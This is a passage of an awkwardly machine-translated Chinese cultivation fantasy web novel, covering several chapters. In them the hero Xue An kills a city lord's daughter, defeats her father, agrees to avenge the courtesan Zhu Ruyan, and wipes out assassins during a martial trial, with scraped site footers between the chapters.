    The sword power is like wind and thunder, and the momentum is quite amazing.


    Bian Qingmu was slightly surprised. This girl seemed to be a little old before, but she was actually a cultivation base of the heaven and human realm.


    But when facing the stabbing sword, Xue An didn''t even look at it. He raised his hand and lightly flicked his finger until the sword was approaching.


    boom!


    The sword that she thought was inevitable was directly bounced into fragments by Xue An''s finger, and the rest of the force was spread, and the woman in red was directly thrown off the horse. She screamed when she fell.


    Seeing this scene, the people who should have been excited all looked at each other, and then ran away. Even the street vendors, who couldn''t care about packing up their things, all ran away.


    The red woman limped up and looked at Xue An with a murderous face, "You dare to hit me?"


    "Is it weird? Do you want to come back twice?" Xue An was eager to move forward.


    The woman in red took a few steps back in horror, and stared at Xue An, "Very well, you just wait if you have the ability!"


    As he was talking, there was a rumble of horseshoes in the distance, and dozens of knights quickly rushed to the front.


    The leader was a middle-aged man who came to the front and back of the woman in red, dismounted and bowed to salute, "Miss!"


    The woman in red had a gloomy face and pointed at Xue An and said, "Take him to me!"


    "Yes!"


    The man stood up and looked at Xue An, a sneer appeared at the corner of his mouth.


    "Boy, you dare to hit our city lord''s eldest lady, it seems you are tired of life!"


    Lord Santo!


    Hearing this name, Bian Qingmu''s face suddenly paled, and he exclaimed, "Are you from the Ai family?"


    The woman in red said proudly: "That''s right!"


    Bian Qingmu''s heart sank.


    Jizhou Aijia.


    That was a thousand-year-old family and the current lord of Jizhou City.


    No wonder this woman dared to be so arrogant.


    This is troublesome.


    Xue An was noncommittal, and said indifferently: "Are you finished? If you are finished, do it quickly, I''m in a hurry!"


    The man''s eyes grew cold, and he said angrily: "This is your own death!"


    As he said, the man drew his sword and stabbed.


    The momentum was amazing, and it was a half-step Sanxian cultivation base.


    The dozens of knights behind him also opened their bows and arrows, and pointed the arrows at Xue An.


    Ai Hongyu showed excitement on her face.


    Let you hit me, now you have to be skinned before you die!


    And at this time, in the face of the combined attack of such momentum, Xue An just took a step lightly.


    boom!


    The whole street was shaken.


    Those knights and horses were all shaken to the ground.


    And this man was directly shocked and flew out and fell to the ground, unable to get up for a while.


    There was only one Ai Hongyu left at the scene.


    A look of horror gradually appeared on her somewhat confused face.


    "How... how is it possible?"


    The guard leader of his own house didn''t even stabbed a sword, so he was kicked out by the man.


    What is his cultivation base?


    At this time, Xue An looked at Ai Hongyu and shook his head, "I wanted to save your life, but unfortunately, you have been so bad at a young age! Keeping it is also a curse, so let''s die!"


    As he said, Xue An waved his hand, a ray of sword light hit Ai Hongyu.


    Ai Hongyu has been scared silly!


    She never thought that someone would really dare to kill herself.


    boom!


    With the sword qi approaching, a golden light suddenly appeared on Ai Hongyu''s body, resisting the ray of sword light.


    Ai Hongyu let out a sigh of relief, but fortunately he was wearing a self-defense jade pendant from his father!


    But after a moment of rejoicing, Xue An said calmly: "Come again!"


    Another sword light flew out, shaking the golden light sharply.


    Ai Hongyu was shocked, "Don''t..."


    But as soon as the shout was uttered, Jin Guang was directly shattered.


    At the same time someone came from thousands of miles away in the city.


    "Keep people under the sword!"


    Unfortunately, Xue An is as strong as a rock with a murderous heart.


    Although this woman is not very old, she acted viciously, and she just killed herself directly.


    So Xue An only raised his eyebrows slightly, and the sword light passed directly through Ai Hongyu''s chest.


    puff!


    Blood was spilled.


    Ai Hongyu''s face solidified with horror, and then the dead body fell to the ground.


    One sword, through the heart!


    At this time, an extremely frightened voice came.


    "The madman dare you!" The novel is invincible, starting with the newest chapter of the new chapter, Chapter 300, staying under the sword (first update) URL: https://

 Chapter 301： Only 1 longevity!

    With the voice, a middle-aged man with a majestic face flew across the sky and landed on the street.


    "Subordinates have seen Lord City Lord!" The cavalry leader struggled to get up from the ground and said respectfully.


    It was the city lord of Jizhou City, Ai Hongyu''s father Ai Boming.


    At this moment, Ai Boming looked down at the corpse of his beloved daughter on the ground, without saying a word, his expression fluctuating.


    It took a long time before he lifted his head and stared at Xue An.


    "No matter who you are, since you dare to kill my beloved daughter, I will tear you up a little bit and let your soul taste the endless suffering and die!"


    With that said, Ai Boming exudes extremely strong momentum.


    eternal life!


    Real immortality!


    This power was like a stormy sea, causing Bian Qingmu, who was a Sanxian, to grunt and involuntarily stepped back two steps.


    The power of eternal life is so terrible.


    But in the face of such a powerful power, Xue An was still not sad or happy, only a ray of excitement shining in his eyes.


    "Very well, today I will see how powerful the immortal realm is in Kunlun!"


    Abo is obviously already very angry, and his move is a killer move.


    "The fanatic suffers the death! The Desperate Fist!"


    boom!


    The magnificent shadow of the boxing came straight to Xue An.


    Xue An smiled slightly, and a war spirit ignited in his heart.


    "Good job!"


    With that said, Xue An raised his fist and banged against Ai Boming without fear.


    boom!


    After a muffled sound, an invisible shock wave spread from the fists.


    Wherever he went, within a kilometer of a radius, the bluestone slabs on the ground broke inch by inch, and the house collapsed!


    Bian Qingmu protects Bian Hua and Bian Tian brothers and sisters, watching them in horror from a distance.


    Who won?


    After a while.


    suddenly!


    Abming snorted, and then backed seven or eight steps, with an abnormal blood on his face.


    Xue An only swayed his shoulders, and then returned to normal.


    It was Xue An who had the upper hand.


    This is not just Bian Qingmu shaking.


    Even the knights of the Ai family were all horrified.


    how is this possible?


    The Patriarch, who is cultivated as a master of God, would actually lose to such an ordinary man?


    At this moment, Ai Boming looked extremely embarrassed, and said in a deep voice: "Who are you on earth? Why is there such a strong cultivation base?"


    Xue An smiled faintly, "Me? Just a casual repair! Come again!"


    After all, Xue An raised his fist and blasted out!


    Abbot murmured secretly.


    Although he is immortal, he is not good at martial arts.


    I thought that the punch just now could blast this man into a fan.


    But I didn''t expect that I didn''t take advantage of it, and instead suffered!


    This can''t help making him full of consternation.


    Looking at the momentum, this man is at most half-step immortal cultivation base, why is there such a strong strength?


    Seeing Xue An blasted again.


    Abming gritted his teeth and took another punch.


    This punch directly blasted him a dozen steps away.


    Xue An seemed to be interested, "Come again!"


    boom! boom!


    Two punches in succession.


    Xue An actually blasted Ai Boming from one end of the street to the other.


    This scene also shocked many wealthy families who came to hear the news.


    "Who is that man?" someone exclaimed.


    At this moment, Ai Boming looked embarrassed and his figure was a little shaky.


    Xue An said calmly: "Pick me again! If I don''t die, I will let you go!"


    Having said that, he suddenly plunged into the air and yelled softly: "Move... heaven and earth!"


    boom!


    Although the power of this punch has not yet arrived, it has already caused the ground within a hundred meters to collapse!


    But Ai Boming raised his head in horror to look at the punch, and shouted in disbelief: "It''s actually a fairy!"


    boom!


    This sentence caused a commotion among many people.


    Fairy!


    That means the supreme learning!


    This man actually did, what is his origin?


    These people are surprised.


    Ai Boming shouted: "I admit defeat!"


    It may be too late.


    With this blow, Xue An directly knocked him far away, and then spouted blood.


    Seriously injured!


    As an immortal Ai Boming, he was hit by Xue An and was seriously injured.


    At this time, the audience passed away.


    Xue An fell to the ground and stood with his hands behind.


    "Your daughter Zongma hurts people on the street for no reason, and her mind is vicious. I will kill him. Can you say something?"


    Ai Boming, with a sullen complexion, paled, and a humiliating light flashed in his eyes, but when he saw Xue An slowly raising his fist, he was frightened and said quickly.


    "Nothing to say!"


    Xue An nodded, "In that case, I will spare your life!"


    As he said, Xue An smiled slightly, "I know you are not convinced. This time I am here to participate in the trial meeting. You can come here at that time!"


    After that, Xue An turned and left.


    Wait for them to go.


    Ai Boming was supported and sent back to Ai''s house.


    The news spread.


    Jizhou was a sensation.


    Shangjia.


    Shang Tianhe, who was practicing calligraphy in the study, heard the news, but didn''t respond much, just nodded.


    "Got it!"


    After the informant stepped back, Shang Tianhe finished writing the last stroke, and then looked at the sword character he had written.


    Although it was only written on paper, a stern sword aura still rushed toward his face.


    The only flaw in the beauty is that the final writing seems to have paused, leaving flaws in the perfect sword.


    "To defeat the immortal realm with half a step of immortality, although Ai Boming is not good at using force, but that is also immortal after all. It seems that you are really a strong enemy of mine!"


    Shang Tianhe muttered to himself, and then with a wave of his hand, a sword gas cut the writing paper on the table into powder.


    Ruyanlou.


    After Zhu Ruyan heard the news, he was silent for a long time, eyes gleaming.


    "Got it!"


    The maid was about to withdraw, and Zhu Ruyan said again: "Wait, wait for me to write a letter, and then you can send it there!"


    "Yes!"


    Zhu Ruyan lifted the pen, meditated for a moment, and then wrote a little bit.


    "Go!"


    "Yes!"


    Xue An, Bian Qingmu and others live in a hotel.


    Today''s affairs made these three people a little in awe of Xue An.


    Even Bian Tian didn''t dare to frolic around Xue An as before.


    In response, Xue An smiled bitterly, "What are you doing so looking at me? Will I eat people?"


    Bian Qingmu was silent for a moment before he said, "Master Xianshi, I used to be short-sighted and I was offended, please forgive me!"


    Bian Qingmu apologized for his previous disdain.


    Today, Xue An confirmed her strength with iron-clad facts, of course she was convinced!


    Xue An laughed, "Well, you don''t have to be so restrained. It''s just an eternal life, it''s not a big deal at all!"


    Xue An''s words are his true thoughts.


    Among the heavens and all realms, immortality is also an ant, and at most it is just a bigger ant.


    Defeating an eternal life is really nothing to brag about.


    However, Bian Qingmu and others believed that Xue An was just humble, and awe was heavier in his heart. The novel is invincible, starting with the new chapter, Chapter 301, the newest chapter is just a longevity! (Second update) URL: https://

 Chapter 302： Ruyan host

    "My son, someone is looking for you!" The inn shopkeeper walked in and said respectfully.


    Ok? Someone looking for?


    Xue An was a little skeptical, but still nodded slightly.


    "Let him in!"


    Soon, a little maid walked into the room.


    "My son, I am here to write a letter to you at the order of my lady!"


    "Miss your family?" Xue An was even more confused.


    "My lady is the owner of Ruyanlou, Zhu Ruyan!" said the little maid.


    Xue An didn''t know what was going on, but he still accepted the invitation and opened it, and a line of beautiful characters came into view.


    After hearing about your affairs today, the concubine has a longing for her body and mind, and hopes to meet him.


    Title, Zhu Ruyan!


    Xue An was a little surprised.


    Is this inviting yourself?


    But I don''t even recognize this Ruyan host.


    At this time, the shopkeeper on the side was a little uncontrollable, took a few steps forward, and laughed in a low voice: "This Ruyan host is a beauty of the beauty of the sky and the country. I don''t know how many rich men admire him in Jizhou City, but it''s hard to see. On the one hand! She took the initiative to invite this time! The son is so beautiful!"


    With that, the smiley face that a man understands appeared on the face of the shopkeeper.


    Xue An was a little bit dumbfounded, and handed the invitation back to the little maid, and after a moment he pondered and said: "Tell me, please go back and tell your lady that I don''t know each other, and there is nothing to talk about! So don''t meet up!"


    Xue An''s words stopped the shopkeeper and the little maid.


    There is actually a man who declined Zhu Ruyan''s invitation?


    Is it just trying to win fame?


    But looking at Xue An''s indifferent expression, it didn''t seem to be a fake, and he turned around and was about to leave.


    At this time, the little maid knelt on the ground in a hurry.


    "My son stayed for a while, my lady is not the woman in the dust like you think, she invites you to go, and she has a big deal! Please come and see!"


    After all, the little maid knocked her head.


    Xue An was stunned when he saw this, and then nodded, "It''s hard for you to be so loyal, well, get up!"


    "Then you are going?" The little maid was overjoyed.


    "Since there is a major event, let''s take a look!" Xue An said lightly.


    In the evening, the Ruyan Tower is brightly lit.


    Three months ago, Zhu Ruyan entered Jizhou City and founded this Ruyan Tower.


    Soon, she became famous with her piano and color.


    Those who come here day by day are all based on Zhu Ruyan.


    However, few people can enter the second floor.


    I heard that you don��t need to have any looks or family background, as long as you have advanced cultivation skills!


    This request made many people bewildered, and they didn''t clearly request the cultivation base.


    When Xue An came here with the little maid, there was already a loud voice in the lobby on the first floor, and all the big and young people in Jizhou City could sit here.


    However, these people are sitting and drinking and chatting, but their eyes are erratic, and they look at the stairs from time to time. It is obvious that they are all drunkards who do not want to drink.


    When Xue An stepped upstairs, many people all let out a low exclamation.


    "What''s the matter? Where did this guy come from?"


    "I don''t know, I always look like a freshman!"


    "It doesn''t look like a rich man in his clothes. It''s really frustrating to be able to go upstairs!"


    Amidst the discussion, Xue An walked up to the second floor.


    The second floor is wide and bright, and a bead curtain divides the entire hall into two.


    Under the illumination of the light, behind the bead curtain, the shadows dazzled, but it was not clear.


    "Master, please sit down!" a cold and elegant voice came.


    Hearing the sound, I know that this woman is a beautiful woman.


    Xue An smiled faintly, without feeling cramped, and sat directly on the chair.


    For him, this little formation is not complete enough.


    However, he was still a little curious in his heart. This woman was sure she didn''t know him, so what did she look for herself for?


    "Do you want to hear a song?" the female voice said.


    "Please!" Xue An said lightly.


    Behind the bead curtain, there was a moment of silence, and then came the sound of Fuqin.


    The sound of the piano is tactful, and it sounds refreshing.


    Not to mention anything else, but with this piano skill, this woman is also extraordinary.


    Xue listened quietly.


    Suddenly, the sound of the piano turned, from an elegant and graceful turn to a crying cry.


    It seems that there are endless sorrows contained in the sound of the piano.


    Xue An raised his eyebrows slightly, and a faint smile appeared at the corners of his mouth.


    interesting!


    After another cup of tea, the sound of the piano stopped abruptly, and the lingering sound surrounded the beam.


    Xue An picked up the teacup and took a sip, and then sighed leisurely, "Weeping like a complaint, mourning for Wushuang, is the girl sad?"


    Behind the bead curtain, there seemed to be a woman''s shock, and then she heard the female voice say: "The son is really amazing, and I can hear what I think in my heart only with a piano sound, yes, Ruyan... I really feel it!"


    Xue An smiled faintly, "From the time I entered to the present, you haven''t even seen your face. Is this the attitude you should have in hospitality?"


    There was a hint of sarcasm in Xue An''s voice.


    "It''s ru smokeless!" As he said, a beautiful lady stepped out with the bead curtain.


    The skin is like fat, and the eyebrows are like distant mountains.


    In terms of appearance, this Zhu Ruyan can be said to be full of colors.


    Xue An looked quiet, not even the slightest fluctuation in his eyes, just smiled and continued to toast and drink tea.


    Zhu Ruyan stood there slightly embarrassed.


    She didn''t expect that after Xue An saw herself, there was no surprise at all.


    This disrupted many plans behind her.


    After a while, Zhu Ruyan gritted his teeth, stepped forward, and sat on the opposite side of Xue An.


    A faint feminine scent hits, and if the mind is not firm enough, the scent alone will take away the soul.


    But Xue An didn''t feel anything.


    This woman''s appearance is indeed good, but it is far worse than An Yan.


    It is slightly inadequate than Tang Xuan''er and others.


    She is also better than wearing ancient costumes, her speech and demeanor have the style of ancient ladies.


    "My son, don''t you wonder why I should invite you to come?" Zhu Ruyan finally couldn''t help but ask.


    "Not curious!" Xue An said lightly.


    Zhu Ruyan''s face paled by these words. She was noble and solid since she was a child, and then she came to a downfall, but because of her attractive appearance, no one around her is respectful to herself. UU reading


    Unexpectedly, this Xue An would be so oily and salty.


    After a while, Zhu Ruyan gritted his teeth and took a deep breath and said: "What happened today, I heard people say that the son defeated the city lord Ai with his own strength, and the style is really fascinating."


    Xue An was noncommittal, and said lightly: "If you invite me to just want to praise me, it can last!"


    Zhu Ruyan finally couldn''t help it, lifted up, tears gleaming in a pair of eyes.


    "My son, the little girl asks for something, I don''t know if my son can dare to take it!"


    "tell me the story!"


    "I want to kill someone!"


    "Who?"


    "Kunlun Immortal Palace, Zuo Yuhu!" </></> The novel is invincible, starting with Xianzun''s daddy, the latest chapter Chapter 302, 3 Ruyan (third update) URL: https://

 Chapter 203： Always act, just ask for a clear conscience

    After speaking, Zhu Ruyan looked at Xue An nervously.


    As she knows what the name Kunlun Immortal Palace means.


    She had also begged a few people, without exception, these people were all the influential figures of the world, and they all admired themselves very much, and they all threatened that as long as she said something, she could do it for her.


    But when Zhu Ruyan uttered the four words Kunlun Immortal Palace, these people were all persuaded, and they sought various excuses to avoid them.


    These repeated blows have wiped out Zhu Ruyan''s last glimpse of hope.


    This rash invitation is also Zhu Ruyan''s last effort.


    If it still doesn''t work, then she is completely dead.


    At this time, Xue An raised his eyebrows and asked with interest: "Kunlun Immortal Palace Zuo Yuhu? Do you have any enemies with him?"


    Zhu Ruyan''s heart was crossed and he nodded, "There is hatred, and it is a sea of ??blood!"


    When he said this, Zhu Ruyan''s eyes were full of hatred.


    "On one side is the immortal palace high above, on the other side is you a weak woman, what kind of hatred will there be in this...?" Xue An said lightly.


    Zhu Ruyan was silent for a long time, and when he lifted it up, he was already in tears.


    "My son, my father is Zhu Tianhua, who was also a member of Kunlun City at the beginning, but because he later got a treasure, he was heard by Zuo Yuhu, and if he couldn''t get it, he was angry and killed!"


    "After my father was killed, he was still not reconciled. He ordered people to kill all my family, old and young. If it weren''t for the fact that I happened to be outside, I would have been poisoned! Over the past few years, I have been wandering outside. The hardships are beyond words. The reason for struggling to sustain it is to want revenge!"


    Speaking of this, Zhu Ruyan got up and left his seat and knelt down gracefully.


    "My son, you are a person with great abilities. I only ask you to help me get revenge!"


    Xue listened quietly, with no grief on his face, just toasting and drinking tea.


    "It sounds sympathetic, but..."


    Before Xue An finished speaking, Zhu Ruyan had already preemptively said: "Naturally, I won''t let the son be in vain. I have also accumulated a lot of money over the years, so I can give it to the son!"


    Xue An shook his head and smiled slightly, "Money is useless to me!"


    This sentence is exported.


    Zhu Ruyan was silent, and then he trembled: "My son, I once made an oath, as long as anyone can help me take revenge, then I will take him as the master, and I will not regret it!"


    After all, Zhu Ruyan looked at Xue An with hopeful eyesight.


    Xue An smiled, then shook his head: "It sounds tempting, but the other party is Kunlun Immortal Palace!"


    Sure enough... still so! .


    Zhu Ruyan''s heart was full of bitterness, and he lowered his head gently.


    She didn''t blame Xue An, after all, the other party''s power was so magnificent that it was disappointing.


    In fact, Zhu Ruyan no longer had any hope for revenge until later.


    It''s just that she is so unwilling to be alive.


    Revenge has run through everything she has.


    If it can''t be done, then she will have no meaning to live.


    "Thank you, son, for being willing to come, I was the one who interrupted!" Zhu Ruyan said softly and stood up slowly.


    "My son, please go back!" Zhu Ruyan forced her to say these words, but did not cry.


    "But..." Xue An leaned on the chair, a faint smile appeared at the corner of his mouth.


    "Others are afraid of them Kunlun Immortal Palace, but I am not afraid!"


    This sentence made Zhu Ruyan tremble all over his body, raising his head to look at Xue An with incredible eyesight.


    "The son..." she screamed, shaking.


    "But I want to know, how high are you willing to pay for this matter?" Xue An said lightly.


    Facing Xue An''s playful eyesight, Zhu Ruyan slowly sank his heart, and then suddenly gritted his teeth.


    Shaking hands, he untied the ribbon of his coat.


    "My son, I have been wandering in the dust for the past few years, but I have always been like a jade! And since I was a child, I have practiced the privet technique. Yuan Yin can greatly improve people''s cultivation!"


    After all, Zhu Ruyan removed his coat, his teeth rattled from tension.


    "As long as the son is willing to avenge me, now I can give it to you!"


    What Zhu Ruyan said is true.


    She has practiced the privet technique since she was a child. The peculiarity of this method is that she can use Yuan Yin to sponsor men''s cultivation, and can even directly raise it to a level.


    But the conditions for practicing this technique are also extremely harsh. You must be a pure and flawless woman, and at the same time you must have the all-round knowledge!


    This is also a secret in Zhu Ruyan''s deepest heart.


    She is clearer than anyone else, if her trait is passed on, it will be a devastating blow to herself.


    But at this moment, in order to take revenge, she ignored everything.


    Xue An looked lightly.


    Zhu Ruyan gradually lowered his head under the eyes of Xue An''s review, and his heart was mixed, not knowing what it was like.


    "Okay! I will kill this person for you!"


    Xue An''s words sounded like heaven in Zhu Ruyan''s ears.


    "My son..."


    Xue An waved his hand at this time and chuckled: "Okay, put on your coat, beware of cold!"


    Zhu Ruyan stopped, she didn''t know what Xue An meant.


    Xue An said lightly: "I help you because you think you paid a high enough price for what you believe in your heart. This makes me appreciate it."


    "As for the rest of what you said...I am not taking advantage of others, besides...I already have a family, and I even have two children!"


    Zhu Ruyan looked at Xue An with a stunned look, but couldn''t turn his head for a while.


    Xue An got up and said indifferently: "When I win this trial, you will enter the main city of Kunlun with me. I want to see and see, who is it, and I dare to call it a fairy palace!"


    After speaking, Xue An went downstairs.


    Zhu Ruyan stood there for a long time.


    "Miss." The little maid yelled softly.


    Zhu Ruyan turned around, tears on his face.


    The little maid grew up with her since she was a child, and she felt sour when she saw it.


    "Congratulations, Miss has seen the revenge!"


    Zhu Ruyan nodded sadly, but a soft place deep in his heart seemed to be touched by something.


    The wandering and helplessness in the past few years has made her habitually speculate with the worst results.


    Unexpectedly, Xue An would give her such a result at the end.


    The last words left by this man made Zhu Ruyan even more excited.


    "Pack things, make preparations... and set off with the son!" Zhu Ruyan said in a deep voice.


    After Xue An returned to the hotel, the inn shopkeeper stared at Xue An with envy.


    Even Bian Qingmu and others have a strange look on their faces.


    Xue An just laughed at this.


    He acted, always asking for a clear conscience, as for the opinions of others, he never cared!


    Xue An''s trip to Kunlun originally came with the confidence to level the world.


    Being able to help someone is naturally excellent too! The novel is invincible, starting with the newest chapter, Chapter 303, Daddy Xianzun, four have always acted, just ask for a clear conscience (fourth) URL: https://

 Chapter 204： Win you with the sword

    Aijia.


    Ai Boming was lying on the bed, pale as paper, healed.


    Although Xue An didn''t kill him with that punch, it also hurt his fundamental vitality, and within a year or a half, he couldn''t recover.


    "Is it done?" Ai Boming said solemnly.


    "Master Hui, you have already moved the Trial Divine Stone according to your instructions. As soon as this person enters, we can summon people and horses to besieged him!" A steward said in a deep voice.


    Ai Boming nodded, a spiteful color appeared in his eyes.


    "Very good! I dare to kill my daughter, this time, I will let you pay for it!"


    ��������������������


    The day of trial has finally arrived.


    The open space in front of the trial field was crowded with contestants and people watching enthusiastically.


    The crowd exclaimed from time to time, because there were still masters from all over the east of Kunlun.


    A magnificent carriage drove into the field, and Shang Tianhe walked down.


    His emergence caused quite a stir.


    "It''s the Shang family!"


    "Young Master Shang is here!"


    "I heard that this Shang family has great sword skills and learned from Yujian Villa in the northern border of Kunlun. I think he is the first one in this trial meeting!"


    In these discussions, Shang Tianhe looked quiet, but his father Shang Yuchen smiled complacently, and nodded to the person who said hello from time to time.


    At this moment, Xue An and Bian Qingmu also appeared in the venue.


    Because of the incident a few days ago, many people recognized Xue An.


    "It''s him! He really came!"


    "This guy is bedridden with Ai Boming, so he dared to participate in the trial, he is so bold!"


    People are talking about it.


    Shang Tianhe stared at Xue An, and then walked past.


    Seeing him coming, many people quickly stepped aside, and then stared at Xue An with gleeful eyes.


    Shang Tianhe can be regarded as the complacency of Jizhou City, and these people naturally favor him.


    As for Xue An, his mysterious background and domineering behavior have made many people jealous.


    "You are indeed very strong and qualified to be my opponent! But in this trial, I will let you know what is the real strong?" Shang Tianhe said in a deep voice.


    Xue An smiled, did not respond to Shang Tianhe''s words, but glanced at his saber around his waist, "Sword repair?"


    Shang Tianhe nodded, "Shang Tianhe, true disciple of Yujian Villa!"


    When he said this, his face was full of complacency.


    After all, being able to become a true disciple in such a hidden fairy gate like Yujian Villa, shows his talent!


    "Well, for this trial, I won''t use punches or swords to defeat you!" Xue An said lightly.


    boom!


    Xue An''s words caused a commotion around the people.


    Many people know about Xue An��s defeat of Ai Boming a few days ago.


    Therefore, these people believe that Xue An is a martial artist who is good at boxing.


    Unexpectedly, he actually said that he would win Shang Tianhe with the sword.


    This sounds ridiculous.


    At least many people couldn''t help laughing out loud, thinking that this man was arrogantly looking for death.


    When Shang Tianhe heard this, his eyesight was getting colder.


    "Win me with the sword? Haha, I have slept with the sword since I was three years old, fencing countless times a day, I received the real person at the age of seven, received Xiaoyuan at the age of twelve, at the age of eighteen, and became a sword at the age of 22. Immortal! Just now I was appreciated by Yujian Villa Yuehua Sword Sovereign, and I entered his door to continue his unparalleled kendo! Become a true disciple!"


    These words of Shang Tianhe attracted the admiration of the people around him.


    Shang Yuchen is even more contented. After all, his son is so promising, and his face also has glory.


    A sneer appeared at the corner of Shang Tianhe''s mouth, and he asked, "And now you actually say...you want to beat me with your sword?"


    Shang Tianhe''s question made everyone look at Xue An.


    Many people''s faces are full of disdain.


    But in the face of these eyesight, Xue An smiled, "Sounds like a great one!"


    "But in my opinion, it is still... rubbish!"


    When the word trash was exported, many angry eyes were drawn.


    Especially Shang Yuchen, with a gloomy expression that could drip water.


    Shang Tianhe only changed his complexion slightly, and then nodded, "I have a clear sword heart, and you can''t irritate me. I will use my sword to prove that who is rubbish!"


    After all, Shang Tianhe turned and left.


    At this moment, there was a sudden commotion at the door of the trial venue, and then people took the initiative to give way.


    Seeing an unparalleled demeanor of the generation, Lianbu moved lightly, and came along.


    The crowd of onlookers gradually calmed down, and many people watched with amazing faces.


    After the beautiful lady passed in front of her, someone whispered softly: "Is there such a pretty woman in the world?"


    "This... isn''t this girl Zhu Ruyanzhu in Ruyanlou?" Someone responded with a low exclamation.


    And Shang Tianhe was startled first, and then an ecstasy surged into his heart.


    He has been searching for Zhu Ruyan for this period of time, but she has always been detached and never responded positively, which made Shang Tianhe quite distressed.


    Today she suddenly appeared in front of the trial venue, sure to come to help me out! It seems that she also understood what I wanted, and prepared to absorb it!


    Thinking of this, Shang Tianhe greeted him excitedly, "Ms. Ruyan, why did you come in person? This really scared Tianhe..."


    I haven''t finished the rest of the words yet. Because of Shang Tianhe''s creation, Zhu Ruyan didn''t squint, and didn''t even glance at himself. Instead, he walked straight past him and went straight inside.


    What is she doing?


    Shang Tianhe was suspicious in his heart and turned to look at it.


    Zhu Ruyan came to Xue An and gave a graceful ceremony.


    "My lord!"


    boom!


    All the onlookers were dumbfounded.


    How is this going?


    Why is Zhu Ruyan, who is famous in Jizhou, so respectful to this man?


    Shang Tianhe was even more stunned.


    Xue An smiled slightly, "What are you doing here?"


    "The concubine body can''t worry about the adult''s trial, so I came here specially to make the adult stronger!"


    Hearing this, Shang Tianhe finally couldn''t keep quiet anymore, the killing intent in his eyes was mad, his expression even more ashen.


    well! You actually irritated me so much, this time...I will kill you!


    At this time, an Ai family elder said loudly: "The trial officially begins! Let''s enter!"


    A light curtain appeared on the trial ground but this light curtain was much thicker than Yuanzhou City. Obviously considering the people who can participate in the trial here, the cultivation level is much higher!


    Shang Tianhe entered the field with a gloomy expression.


    Xue An nodded slightly like smoke, turned around and walked in.


    Zhu Ruyan looked at Xue An''s back, his face full of tension and expectation.


    Xue An is already the only one looking forward to revenge!


    She was naturally full of thoughts.


    And at this moment, when seeing Xue Anjin coming back, some people in front of the trial field winked at each other, and then followed behind without moving their faces, and also entered. The novel is invincible, starting with the newest chapter, Chapter 304, Chapter 304 with the sword to win you (first update) URL: https://

 Chapter 205： Sword field

    After a burst of light and shadow, what appeared in front of Xue An was actually a small ring.


    And his first opponent was a pair of petite and exquisite sisters.


    "Big brother, this is the first time for the two of us to participate in the trial, so please feel sorry for it!" one of the women said softly.


    Xue An smiled slightly and said in a playful tone: "People in their 100s still pretend to be tender, don''t they feel sick?"


    This sentence changed the expressions of both women.


    "Boy, you look pretty good, but unfortunately, my sisters can''t cherish you today, because someone wants you to die!"


    After all, the two women disappeared in place.


    Faced with this scene, Xue An did not panic at all, but closed his eyes.


    suddenly.


    At Xue An''s back waist, a dagger exuding a thick ominous aura suddenly appeared, and then slammed.


    Seeing that the tip of the knife was about to pierce Xue An''s hair.


    Xue An said indifferently: "Your Void Escape Method is well practiced, but unfortunately, it is useless in front of me!"


    With that, a strand of sword light cut through the void directly.


    A woman screamed, and then blood dripped to the ground, and was hurried away.


    "Do you still want to run?"


    Xue An only took a step and appeared in the distance. Then, as soon as he reached out, his hands plunged directly into the void.


    "Give me...come out!"


    Following Xue An''s words, the two women were directly dragged out of the void by Xue An.


    The two women were horrified, "Help..."


    The call for help stopped abruptly, and the two of them were directly pierced by a ray of sword light and died.


    At the same time, there was a violent flicker in the ring, and there were people on the number 30 or 40 appearing on the ring.


    Xue An let go, and the bodies of the two women fell to the ground with a muffled noise.


    This also surprised the people of the 30s and 40s.


    "Have you waited for a long time, did you finally show up?" Xue An said lightly.


    The leading person looked cloudy and uncertain, and said coldly: "Dare to die so arrogant?!"


    "I said I would let the Ai family go, but now that he is looking for death on his own, don''t blame me!" Xue An said lightly and took a step forward.


    "Come on together, I''m in a hurry!"


    These people glanced at each other, and their faces were a little hesitant.


    The two women, who were known as the Shuangsha of the Witch, were also resoundingly difficult figures in the east of Kunlun, but were strangled by Xue An directly.


    This makes these originally confident people suddenly feel a little unsure.


    "Kill him! Patriarch Ai will be rewarded generously! Otherwise, none of us can leave!" the leader shouted coldly.


    These people gritted their teeth, and then all rushed up.


    These people are basically half-step Sanxian cultivation base, and the few people in the lead are Sanxian!


    The joint attack by so many people was extremely shocking.


    Even this trial arena was a little unsupported, and it began to crack gradually.


    The people outside only saw the light curtain of the entire trial space begin to flicker sharply.


    "what happened?"


    "Yes, this has never happened before!"


    The people watching the excitement outside were surprised.


    Only a few people from Ai''s family looked at each other, their faces were full of joy.


    It must have been done inside, this guy will die without a place to bury him.


    But these people''s hopes are destined to fail.


    Because inside, facing this shocking blow.


    Xue An raised his eyebrows slightly, "Sword of... Domain!"


    Countless sword lights suddenly appeared, densely covering the entire space.


    These people all felt that their bodies sank, and it seemed that they could not even display their cultivation base, and this shocking blow naturally disappeared.


    In this space at this moment, Jian Qi is the absolute master!


    These people are horrified.


    Xue An shouted softly: "Kill!"


    Kill the word export.


    All sword qi was like bone-eating maggots, directly drowning these people.


    After a few short screams, everything returned to silence.


    When the sword light dissipated, only the thick bones were left on the ground.


    "Is that enough? It''s getting boring. Let''s end it as soon as possible!"


    Xue An said impatiently, and with a wave of his hand, he cut the light curtain open, and then stepped in.


    At this moment, Shang Tianhe was fighting with a brash man.


    The reckless man''s offensive was extremely fast, but helpless, Shang Tianhe only dodged slightly, so that these fists and feet could not reach half of his vellus hair.


    After a cup of tea.


    The rash man''s offensive gradually slowed down, and tiny beads of sweat appeared on his face.


    At this moment, Shang Tianhe suddenly cut his scabbard on the man''s neck.


    "do not move!"


    The rough man''s figure froze, and after taking a deep breath, he said dejectedly: "I admit defeat!"


    Shang Tianhe''s expression was indifferent, he took a half step back, nodded slightly, "Accept!"


    From beginning to end, Shang Tianhe did not draw his sword.


    All fights are opponents defeated by scabbard.


    Many opponents were very angry about this, thinking that Shang Tianhe was too arrogant and wanted to win this trial without drawing his sword.


    But only Shang Tianhe understood.


    He wants to conserve the sword spirit in his chest to the extreme. Only in this way can he exert his greatest lethality and kill that man with one blow!


    The reckless man conceded, the light and shadow in front of Shang Tianhe changed, and a gray-haired old man appeared on the opposite side.


    Seeing this old man, Shang Tianhe''s complexion also changed slightly.


    "It turns out to be an old man of fortune, Tianhe is polite!"


    The old man fortune-telling smiled, "This trial, the old man is just here to join in the fun, Master Shang, do it!"


    But when the two were preparing to fight, there was a wave of fluctuations on the ring, and then Xue An walked out of it.


    "Very well, I finally found you!" Xue An said lightly.


